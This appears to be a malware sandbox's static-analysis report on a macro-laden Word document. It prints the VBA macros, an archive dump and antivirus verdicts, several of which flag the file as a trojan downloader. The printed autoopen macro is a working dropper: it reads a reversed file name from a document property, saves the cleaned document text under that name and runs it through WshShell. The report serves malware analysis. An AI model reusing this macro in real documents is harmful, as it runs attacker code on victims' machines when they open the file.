popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "func"
Public Function s(myMyMy)
Set myKingIn = New WshShell
myKingIn.run myMyMy
End Function

Deobfuscated

                                        Attribute VB_Name = "func"
Public Function s(myMyMy)
Set myKingIn = New WshShell
myKingIn.run myMyMy
End Function

Original

                                        Attribute VB_Name = "main"
Function ladyRedLove()
kingMy = ActiveDocument.BuiltInDocumentProperties("Manager").Value
ladyRedLove = StrReverse(kingMy)
End Function
Public Sub autoopen()
Dim seaRedLady As String
seaRedLady = vbNullString
redSeaRed = Trim(ladyRedLove)
With ActiveDocument.Content.Find
.Execute FindText:="#)", ReplaceWith:=seaRedLady, Replace:=wdReplaceAll
End With
ActiveDocument.SaveAs2 FileName:=redSeaRed, FileFormat:=wdFormatText
s redSeaRed
End Sub

Deobfuscated

                                        Attribute VB_Name = "main"
Function ladyRedLove()
kingMy = ActiveDocument.BuiltInDocumentProperties("Manager").Value
ladyRedLove = StrReverse(kingMy)
End Function
Public Sub autoopen()
Dim seaRedLady As String
seaRedLady = vbNullString
redSeaRed = Trim(ladyRedLove)
With ActiveDocument.Content.Find
.Execute FindText:="#)", ReplaceWith:=seaRedLady, Replace:=wdReplaceAll
End With
ActiveDocument.SaveAs2 FileName:=redSeaRed, FileFormat:=wdFormatText
s redSeaRed
End Sub
[Content_Types].xml
{@EBn%
_rels/.rels
word/document.xml
Eqh;I"
`HDX4gM
\F,-`;D
"]Q/%U
"&_,K"
word/_rels/document.xml.rels
word/vbaProject.bin
XsXV~p
35t<~d
TBa~i7
word/media/image1.gifGIF89a
NETSCAPE2.0
MzEt^+
<]_1X
zl[MK5
4}=mo7
ukt(ApXb7
R)CaO!
R1d-2h
TTSUuUV[u
TQI55Vt
%&!~P;
9'd-E3B
?)$B]2
AatFd<
;ftKbD&
[s~ctN
sFotGW
D0/*1?pZ
wqwr/ws?wtO
c _z>_
6RIt_D
o&Ca}(D
4uRcF&h
.})Lc*
P.E
word/theme/theme1.xml
iN 5/m
_O<8=
&r-DeI
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/vbaData.xml
c7Z$Qn
word/settings.xml
,S+[nd
word/styles.xml
Lt,+^
l='Y2_=
u?ww)Uy
_|J0i.
q#:' 7
6aV nA
wuLwc*
?mUu0ze
word/webSettings.xml
word/fontTable.xml
Gr:G'f
docProps/app.xml
docProps/core.xml
[Content_Types].xmlPK
_rels/.relsPK
word/document.xmlPK
word/_rels/document.xml.relsPK
word/vbaProject.binPK
word/media/image1.gifPK
word/theme/theme1.xmlPK
word/_rels/vbaProject.bin.relsPK
word/vbaData.xmlPK
word/settings.xmlPK
word/styles.xmlPK
word/webSettings.xmlPK
word/fontTable.xmlPK
docProps/app.xmlPK
docProps/core.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.SAgent.4!c
Elastic malicious (high confidence)
DrWeb Clean
MicroWorld-eScan Trojan.GenericKD.47223368
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
BitDefender Trojan.GenericKD.47223368
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren PP97M/Agent.ADW.gen!Eldorado
Symantec Clean
ESET-NOD32 a variant of Generik.NNZYVVH
TrendMicro-HouseCall Possible_OLEGTAD
Avast Clean
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba Clean
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
Rising Clean
Ad-Aware Clean
Sophos Clean
Comodo Clean
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Possible_OLEGTAD
McAfee-GW-Edition BehavesLike.Downloader.nc
FireEye Trojan.GenericKD.47223368
Emsisoft Clean
SentinelOne Static AI - Malicious OPENXML
Avast-Mobile Clean
Jiangmin Clean
Avira Clean
MAX malware (ai score=85)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm HEUR:Trojan.MSOffice.SAgent.gen
GData Clean
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
McAfee RDN/Generic.dx
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet VBA/Agent.F251!tr.dldr
No IRMA results available.